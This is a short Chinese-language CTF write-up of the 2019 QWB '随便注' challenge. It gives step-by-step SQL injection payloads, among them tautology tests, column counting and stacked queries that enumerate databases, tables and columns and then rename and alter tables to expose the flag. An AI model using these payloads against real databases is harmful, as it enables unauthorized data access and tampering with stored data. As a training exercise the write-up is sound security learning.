随便注 1
S3a Lv3

强网杯2019-随便注

1,测试1' or 1=1 #,初步判定存在SQL注入。

1
1' or 1=1 #

再测试字段数,到3时报错,说明字段数为2.

1
1' order by 1 # 

接着尝试union注入,回显了过滤的关键字。

1
1' union select 1,2#

image

然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。
先通过show databases爆出数据库。

1
0'; show databases; #

然后用 show tables 尝试爆表。

1
0'; show tables; #

可以看到这里有两个表,我们先尝试爆words表的内容。

1
1'; show columns from words; #

表名为数字时,要用反引号包起来查询。

1
0'; show columns from `1919810931114514 `; #

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id    int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
 Comments
Comment plugin failed to load
Loading comment plugin